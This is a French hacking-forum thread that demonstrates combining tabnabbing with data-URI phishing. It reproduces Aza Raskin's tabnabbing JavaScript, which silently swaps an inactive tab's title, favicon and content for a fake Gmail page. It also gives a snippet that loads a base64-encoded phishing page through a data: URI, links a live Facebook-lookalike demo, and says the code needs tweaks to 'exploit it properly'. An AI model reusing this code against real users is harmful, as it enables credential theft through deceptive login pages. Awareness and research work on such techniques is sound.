Annonce

Réduire
Aucune annonce.

Tabnabbing Phishing + Data Uri

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Tabnabbing Phishing + Data Uri

    Beaucoup d'entre vous connaissent le tabnabbing et le data uri, mais je voulais simplement donner un exemple concret en combinant les deux techniques aux personnes qui ne connaissent pas encore ce procédé pour démontrer à quel point cela peut être redoutable.

    Le but ici n'est pas de vous expliquer comment créer une page de phishing, aucun intérêt, en plus il y a déjà plusieurs tuto sur le forum qui traite du sujet.

    Tout d'abord qu'est-ce que le tabnabbing:

    "Un utilisateur ouvre plusieurs onglets affichant divers sites. Lorsque vous virevoltez entre ces onglets, l’une des pages affichée « en arrière-plan » va profiter de votre inattention pour se régénérer au bout d’un certain laps de temps. Elle remplacera sa version initiale en une fausse page Facebook ou Google Gmail, par exemple. Avec quelques bouts de code Javascript et pour faire encore meilleure impression, elle va modifier le Favicon qui s’affiche en illustration de l’onglet. Du coup, l’auteur de l’attaque n’aura plus qu’à attendre que l’internaute revienne sur cet onglet et se laisse piéger : il croira avoir ouvert préalablement Gmail ou Facebook, et entrera son login et son mot de passe puisque le site les lui demande."

    Cette technique a été mis au point par Aza Raskin un des responsables du développement de Firefox

    Son code javascript est disponible ici:
    Code:
    /*
    Copyright (c) 2010 Aza Raskin
    http://azarask.in
    
    Permission is hereby granted, free of charge, to any person
    obtaining a copy of this software and associated documentation
    files (the "Software"), to deal in the Software without
    restriction, including without limitation the rights to use,
    copy, modify, merge, publish, distribute, sublicense, and/or sell
    copies of the Software, and to permit persons to whom the
    Software is furnished to do so, subject to the following
    conditions:
    
    The above copyright notice and this permission notice shall be
    included in all copies or substantial portions of the Software.
    */
    
    
    (function(){
    
    var TIMER = null;
    var HAS_SWITCHED = false;
    
    // Events
    window.onblur = function(){
      TIMER = setTimeout(changeItUp, 5000);
    }  
    
    window.onfocus = function(){
      if(TIMER) clearTimeout(TIMER);
    }
    
    // Utils
    function setTitle(text){ document.title = text; }
    
    // This favicon object rewritten from:
    // Favicon.js - Change favicon dynamically [http://ajaxify.com/run/favicon].
    // Copyright (c) 2008 Michael Mahemoff. Icon updates only work in Firefox and Opera.
    
    favicon = {
      docHead: document.getElementsByTagName("head")[0],
      set: function(url){
        this.addLink(url);
      },
      
      addLink: function(iconURL) {
        var link = document.createElement("link");
        link.type = "image/x-icon";
        link.rel = "shortcut icon";
        link.href = iconURL;
        this.removeLinkIfExists();
        this.docHead.appendChild(link);
      },
    
      removeLinkIfExists: function() {
        var links = this.docHead.getElementsByTagName("link");
        for (var i=0; i<links.length; i++) {
          var link = links[i];
          if (link.type=="image/x-icon" && link.rel=="shortcut icon") {
            this.docHead.removeChild(link);
            return; // Assuming only one match at most.
          }
        }
      },
      
      get: function() {
        var links = this.docHead.getElementsByTagName("link");
        for (var i=0; i<links.length; i++) {
          var link = links[i];
          if (link.type=="image/x-icon" && link.rel=="shortcut icon") {
            return link.href;
          }
        }
      }  
    };  
    
    
    function createShield(){
      div = document.createElement("div");
      div.style.position = "fixed";
      div.style.top = 0;
      div.style.left = 0;
      div.style.backgroundColor = "white";
      div.style.width = "100%";
      div.style.height = "100%";
      div.style.textAlign = "center";
      document.body.style.overflow = "hidden";
      
      img = document.createElement("img");
      img.style.paddingTop = "15px";
      img.src = "http://img.skitch.com/20100524-b639xgwegpdej3cepch2387ene.png";
      
      var oldTitle = document.title;
      var oldFavicon = favicon.get() || "/favicon.ico";
      
      div.appendChild(img);
      document.body.appendChild(div);
      img.onclick = function(){
        div.parentNode.removeChild(div);
        document.body.style.overflow = "auto";
        setTitle(oldTitle);  
        favicon.set(oldFavicon)
      }
      
    
    }
    
    function changeItUp(){
      if( HAS_SWITCHED == false ){
        createShield("https://mail.google.com");
        setTitle( "Gmail: Email from Google");    
        favicon.set("https://mail.google.com/favicon.ico");
        HAS_SWITCHED = true;    
      }
    }
      
      
    })();
    (il faut faire quelques modification pour pouvoir l'exploiter correctement)

    Si vous voulez des options c'est ici

    Ensuite passons au phishing via Uri:
    "Uri (Uniform Resource Identifier) est une chaine de caractères identifiant une ressource sur un réseau. Une de ses implémentations est l’URL. Cependant, alors que les URL permettent de spécifier l'emplacement d'une ressource réseau et comment y accéder, les URI sont plus souples et peuvent même être utilisés pour héberger les données. "

    Cela veut dire qu'il est possible de dissimuler une page entière dans un lien. Il suffit de prendre le code source d'une page, de l'encoder en base64, ensuite vous insérez ce que vous venez d'encoder sur une page html.

    Avec le code suivant:

    Code:
    <script>
    window.location="data:text/html;base64,mettre le code source encodé en bas64 ici"
    </script>
    J'ai créé un exemple de site web en combinant les deux techniques, pour que vous puissiez voir à quoi cela ressemble
    (bien évidement il n'y a pas de log qui vont être enregistré, je n'ai pas mis de script php pour récupérer les données, c'est un exemple)

    http://secrure.3eeweb.com/

    Lorsque que vous êtes sur mon site (c'est pas vraiment mon site, c'est un exemple vite fait), ouvrez un nouvel onglet (sur firefox), 2 secondes après mon site va changer (c'est le tabnabbing), re-cliquez sur l'onglet ou il y avait mon site et vous allez voir une page facebook, observez bien le lien (c'est le phishing Uri)... c'est redoutable et silencieux

    Voila c'est pas bien compliqué à comprendre, mais utile à savoir !

    @+

    (désolé pour l'orthographe c'est pas mon fort...)
    Dernière modification par _47, 30 mars 2015, 11h18. Motif: correction

  • #2
    Hum très efficace...
    Je ne connaissais pas, merci

    L'Uri permet de berner aisément les néophytes, (les moins néophytes verront que quelque chose cloche ^^)


    Suivre Hackademics: Twitter, Google+, Facebook.

    Commentaire

    Chargement...
    X